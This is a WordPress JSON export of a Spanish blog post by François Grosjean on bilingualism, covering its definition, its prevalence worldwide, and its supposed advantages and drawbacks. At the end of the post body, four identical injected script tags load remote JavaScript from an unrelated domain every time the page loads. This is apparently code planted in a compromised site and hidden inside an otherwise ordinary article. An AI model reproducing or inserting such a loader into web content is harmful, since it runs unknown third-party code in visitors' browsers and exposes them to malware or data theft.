{"id":66890,"date":"2015-09-05T10:30:51","date_gmt":"2015-09-05T08:30:51","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66890"},"modified":"2025-10-21T21:57:03","modified_gmt":"2025-10-21T19:57:03","slug":"algunas-reflexiones-sobre-el-bilinguismo","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/","title":{"rendered":"Algunas reflexiones sobre el biling\u00fcismo"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Fran\u00e7ois Grosjean el April 14, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>Por Fran\u00e7ois Grosjean, Universidad de Neuch\u00e2tel, Suiza.<\/em><br \/>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\" \" src=\"\/wp-content\/uploads\/bilinguisme.jpg\" alt=\" \" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Foto : Daquella manera (cc)<\/p><\/div><br \/>\n&nbsp;<br \/>\n<strong>Por una nueva definici\u00f3n del biling\u00fcismo<\/strong><\/p>\n<p>Aunque ciertos investigadores definan al biling\u00fce como a aqu\u00e9l que posee un dominio perfecto de dos (o varias) lenguas, la inmensa mayor\u00eda de ellos piensan que esta definici\u00f3n no es realista.<\/p>\n<p>Observaremos casi siempre un desequilibrio entre ambas lenguas, ya que el biling\u00fce las utiliza en a\u00e9reas y actividades diferentes: tal lengua es utilizada \u00fanicamente en el trabajo; la otra en la casa; esta lengua es escrita; la otra no lo es, etc.<\/p>\n<p>Este hecho llev\u00f3 a los investigadores a proponer nuevas definiciones del biling\u00fcismo, tales como la capacidad de producir enunciados significativos en dos lenguas, el dominio de por lo menos una competencia ling\u00fc\u00edstica (leer, escribir, hablar, escuchar) en otra lengua, el uso alternado de varias lenguas, etc. En nuestros trabajos, optamos por la siguiente definici\u00f3n: la utilizaci\u00f3n regular de dos o m\u00e1s lenguas o dialectos.<\/p>\n<p>Un aficionado al atletismo jam\u00e1s pensar\u00eda en comparar al corredor de 110 metros vallas ya sea al saltador de altura o al velocista. Y sin embargo, el primero combina en parte las competencias del saltador y del velocista, pero lo hace de tal modo que se convierten en un todo indisociable, formando as\u00ed una nueva competencia. Y no es m\u00e1s que como atleta competitivo que puede ser comparado al velocista o al saltador.<\/p>\n<p>Esta analog\u00eda refleja bastante bien la situaci\u00f3n del biling\u00fce frente al monoling\u00fce. El biling\u00fce no es dos monoling\u00fces, sino un todo que tiene su propia competencia ling\u00fc\u00edstica y que debe pues ser analizado como tal. Si una comparaci\u00f3n debe ser hecha entre monoling\u00fce y biling\u00fce, que se haga entonces al nivel de su competencia comunicativa y ya no m\u00e1s al nivel de una u otra lengua.<br \/>\n&nbsp;<br \/>\n<strong>El biling\u00fcismo: un hecho natural<\/strong><\/p>\n<p>El biling\u00fcismo se manifiesta en todos los pa\u00edses del mundo, en todas clases de sociedad, en todos grupos de edad. Se estima que la mitad de la poblaci\u00f3n del mundo es biling\u00fce.<\/p>\n<p>El biling\u00fcismo se debe a numerosos factores, tales como la migraci\u00f3n pol\u00edtica, econ\u00f3mica y religiosa, la federaci\u00f3n pol\u00edtica de diferentes regiones ling\u00fc\u00edsticas, la educaci\u00f3n, etc.<\/p>\n<p>Es importante notar aqu\u00ed que no hay relaci\u00f3n directa entre un biling\u00fcismo de estado y un biling\u00fcismo individual: ciertos estados que son oficialmente biling\u00fces o multiling\u00fces reagrupan de hecho poco de biling\u00fces (Canad\u00e1, B\u00e9lgica, por ejemplo) mientras que estados oficialmente monoling\u00fces (Tanzania, Kenia, etc.) tienen una poblaci\u00f3n biling\u00fce o multiling\u00fce.<\/p>\n<p>Son los pa\u00edses occidentales con su pol\u00edtica de monoling\u00fcismo que ven en el biling\u00fcismo una excepci\u00f3n. De hecho, el biling\u00fcismo es un hecho natural, que se desarrolla cuando hay contacto entre lenguas y necesidad en el individuo de comunicar en varias lenguas. No se necesita m\u00e1s que viajar a un pa\u00eds de \u00c1frica o de Asia para darse cuenta de la extensi\u00f3n del biling\u00fcismo en el mundo.<br \/>\n&nbsp;<br \/>\n<strong>Ventajas y desventajas del biling\u00fcismo<\/strong><\/p>\n<p>Visto por las sociedades monoling\u00fces, el biling\u00fcismo es una paradoja que provoca ya sea grandes ventajas, o enormes inconvenientes.<\/p>\n<p>Del lado de las ventajas, encontramos el desarrollo cognitivo precoz del ni\u00f1o, una creatividad m\u00e1s grande, una apertura en la mentalidad, una cierta tolerancia, etc. Del lado de los inconvenientes, evocamos el retraso escolar y cognitivo del ni\u00f1o biling\u00fce, la marginaci\u00f3n de \u00e9ste, el semiling\u00fcismo, etc.<\/p>\n<p>De hecho, estas ventajas e inconvenientes tienen muy poco que ver con el biling\u00fcismo como tal; son m\u00e1s bien debidos a la situaci\u00f3n psicosocial en la cual se encuentran los diferentes biling\u00fces. Algunos son miembro de la clase dominante de una sociedad, mientras que otros no lo son; algunos recibieron una escolaridad completa, otros no; algunos pertenecen a un grupo social mayoritario, otros no, etc.<\/p>\n<p>Son estos factores que explican principalmente las pretendidas ventajas y los inconvenientes del biling\u00fcismo, y no el hecho de utilizar de manera regular una, dos o varias lenguas. Si dejamos nuestras sociedades occidentales, donde el hecho de ser biling\u00fce a menudo significa que se pertenece a una minor\u00eda ling\u00fc\u00edstica y cultural, nos daremos cuenta de lo bien fundado de esta comprobaci\u00f3n.<\/p>\n<p><strong>Referencia<\/strong>: Grosjean, F. (2004). El biling\u00fcismo y el biculturalismo: algunas nociones de base. In C.  Billard, M. Touzin y P. Gillet (Eds.). Disturbios espec\u00edficos de los aprendizajes: el estado de los conocimientos. Paris: Ediciones Signes.<\/p>\n<p>Pagina web: <a href=\"http:\/\/www.francoisgrosjean.ch\/accueil.html\" target=\"_blank\">www.francoisgrosjean.ch\/accueil.html<\/a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Fran\u00e7ois Grosjean el April 14, 2011 &nbsp; Por Fran\u00e7ois Grosjean, Universidad de Neuch\u00e2tel, Suiza. &nbsp; Por una nueva definici\u00f3n del biling\u00fcismo Aunque ciertos investigadores definan al biling\u00fce como a aqu\u00e9l que posee un dominio perfecto de dos (o varias) lenguas, la inmensa mayor\u00eda de ellos piensan que esta definici\u00f3n no es realista. Observaremos [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66890","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Algunas reflexiones sobre el biling\u00fcismo - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Algunas reflexiones sobre el biling\u00fcismo - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por Fran\u00e7ois Grosjean el April 14, 2011 &nbsp; Por Fran\u00e7ois Grosjean, Universidad de Neuch\u00e2tel, Suiza. &nbsp; Por una nueva definici\u00f3n del biling\u00fcismo Aunque ciertos investigadores definan al biling\u00fce como a aqu\u00e9l que posee un dominio perfecto de dos (o varias) lenguas, la inmensa mayor\u00eda de ellos piensan que esta definici\u00f3n no es realista. Observaremos [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-05T08:30:51+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:57:03+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"Algunas reflexiones sobre el biling\u00fcismo\",\"datePublished\":\"2015-09-05T08:30:51+00:00\",\"dateModified\":\"2025-10-21T19:57:03+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/\"},\"wordCount\":815,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/\",\"name\":\"Algunas reflexiones sobre el biling\u00fcismo - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-05T08:30:51+00:00\",\"dateModified\":\"2025-10-21T19:57:03+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Algunas reflexiones sobre el biling\u00fcismo\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Algunas reflexiones sobre el biling\u00fcismo - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/","og_locale":"es_ES","og_type":"article","og_title":"Algunas reflexiones sobre el biling\u00fcismo - Sorosoro","og_description":"Publicado por Fran\u00e7ois Grosjean el April 14, 2011 &nbsp; Por Fran\u00e7ois Grosjean, Universidad de Neuch\u00e2tel, Suiza. &nbsp; Por una nueva definici\u00f3n del biling\u00fcismo Aunque ciertos investigadores definan al biling\u00fce como a aqu\u00e9l que posee un dominio perfecto de dos (o varias) lenguas, la inmensa mayor\u00eda de ellos piensan que esta definici\u00f3n no es realista. Observaremos [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/","og_site_name":"Sorosoro","article_published_time":"2015-09-05T08:30:51+00:00","article_modified_time":"2025-10-21T19:57:03+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"4 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"Algunas reflexiones sobre el biling\u00fcismo","datePublished":"2015-09-05T08:30:51+00:00","dateModified":"2025-10-21T19:57:03+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/"},"wordCount":815,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/","name":"Algunas reflexiones sobre el biling\u00fcismo - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-05T08:30:51+00:00","dateModified":"2025-10-21T19:57:03+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/algunas-reflexiones-sobre-el-bilinguismo\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Algunas reflexiones sobre el biling\u00fcismo"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66890","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66890"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66890\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66890"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66890"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66890"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}